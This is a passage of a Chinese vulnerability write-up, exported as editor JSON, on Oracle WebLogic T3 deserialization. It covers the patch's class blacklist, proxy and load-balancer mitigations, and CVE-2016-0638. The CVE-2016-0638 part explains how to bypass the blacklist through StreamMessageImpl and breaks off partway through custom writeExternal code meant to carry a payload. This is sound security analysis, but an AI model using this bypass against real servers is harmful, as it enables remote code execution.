{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z5Kv-1673851061313&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G8Z-1673851061312&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (token.startsWith(\&#34;+\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IK75-1673851061315&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ixYc-1673851061314&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZylG-1673851061317&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LV1l-1673851061316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (token.startsWith(\&#34;-\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;osyv-1673851061319&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GoX2-1673851061318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.remove(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bd28-1673851061321&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;poMK-1673851061320&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XHWQ-1673851061323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dXtA-1673851061322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mrg0-1673851061325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xjAU-1673851061324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hi5x-1673851061327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;soXm-1673851061326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DDJe-1673851061329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ADzX-1673851061328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rZI4-1673851061331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;55pd-1673851061330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  public static boolean isBlackListed(String className) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bGnI-1673851061333&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EuXY-1673851061332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    String pkgName;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RlmW-1673851061335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SJ-1673851061334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (className.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(className))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nehr-1673851061337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sTO7-1673851061336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return true; &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fM7V-1673851061339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s83w-1673851061338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4tS0-1673851061341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TYek-1673851061340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      pkgName = className.substring(0, className.lastIndexOf(&#39;.&#39;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NNfy-1673851061343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h3gU-1673851061342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H5rV-1673851061345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TxRR-1673851061344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fj6y-1673851061347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cOMf-1673851061346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OQfZ-1673851061349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ql3q-1673851061348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return (pkgName.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(pkgName));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UsyO-1673851061351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GSo9-1673851061350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vq96-1673851061353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GVPD-1673851061352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZjAS-1673851061355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qp18-1673851061354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uwb8-1673850999749&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LmuJ-1673850999750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I2SQ-1673575672005&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eweA-1673575672003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;这个黑名单主要作用于三个类的resolveClass方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KoXv-1673851226175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GQR5-1673851226170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yiIY-1673851226169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lgLX-1673851243711&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQc9-1673851243710&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U8Y8-1673851251940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TaKe-1673851251938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z1sQ-1673851175093&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5066/WEBRESOURCEaa67ba749ec95132a8a9d2009336aac9&#34;,&#34;width&#34;:701,&#34;height&#34;:446},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eyJ0-1673851195103&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5069/WEBRESOURCEf91448afe07646b9fb97574ec83a59df&#34;,&#34;width&#34;:690,&#34;height&#34;:437},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y41A-1673851218116&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5071/WEBRESOURCE3aebdcb965d90c3657fe63a1626c4e94&#34;,&#34;width&#34;:676,&#34;height&#34;:427},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PGMV-1673851203371&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ndd2-1673851203369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VoOq-1673575776072&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BJH7-1673575776073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时也有师傅提到，开放在外网的情况下，还可以采用web代理和负载均衡。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PnhA-1673575890560&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9vQ9-1673575890559&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q8DI-1673575890562&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QAPu-1673575890561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JZVb-1673575776235&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;POB3-1673575776234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;21uV-1673851526921&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vm0s-1673851526920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-0638&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LmUr-1673851524464&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JxU3-1673851524462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hhbx-1673851655912&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9XP2-1673851655913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jK6a-1673851655914&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4O3m-1673851655915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EGx2-1673851655916&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kTYP-1673851655917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cNc7-1673851655919&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z4CH-1673851655920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fg9y-1673857573620&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;McGd-1673857573619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VBqe-1673851640393&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MIYo-1673851640391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上文中我们提到，补丁对&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;三个类中的反序列化过程进行了黑名单过滤，而在&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.jms.common.StreamMessageImpl&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;类的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;readExternal&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;方法中同样存在readObject操作:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MY5N-1673852393554&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5096/WEBRESOURCEdf79a09b7d85458cba7ceeb51b8a92e2&#34;,&#34;width&#34;:598,&#34;height&#34;:380},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qcNb-1673852423076&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FdEM-1673852423077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;所以我们需自定义实现一个StreamMessageImpl类。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UYOq-1673852750724&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DadL-1673852750722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;观察其writeExternal与readExternal方法可见，我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1DL-1673852728559&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lpzO-1673852728514&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V0gk-1673852728513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tP6G-1673852862577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NCs3-1673852862576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KzgM-1673852862579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LxJA-1673852862578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var3 = Integer.MAX_VALUE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O0PZ-1673852862581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W5fL-1673852862580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutput var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y7ej-1673852862583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PJNa-1673852862582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpM7-1673852862585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IwGd-1673852862584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0bx-1673852862587&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RC2G-1673852862586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1e0D-1673852862589&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p0wX-1673852862588&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;446g-1673852862591&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UkIo-1673852862590&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vWqu-1673852862593&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S2M6-1673852862592&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MiYS-1673852862595&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tn9r-1673852862594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;toOE-1673852862597&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vm2E-1673852862596&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uHzz-1673852862599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6fB-1673852862598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.getVersion(var2) &gt;= 30) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6R8V-1673852862601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;trIs-1673852862600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rSat-1673852862603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jkjy-1673852862602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else 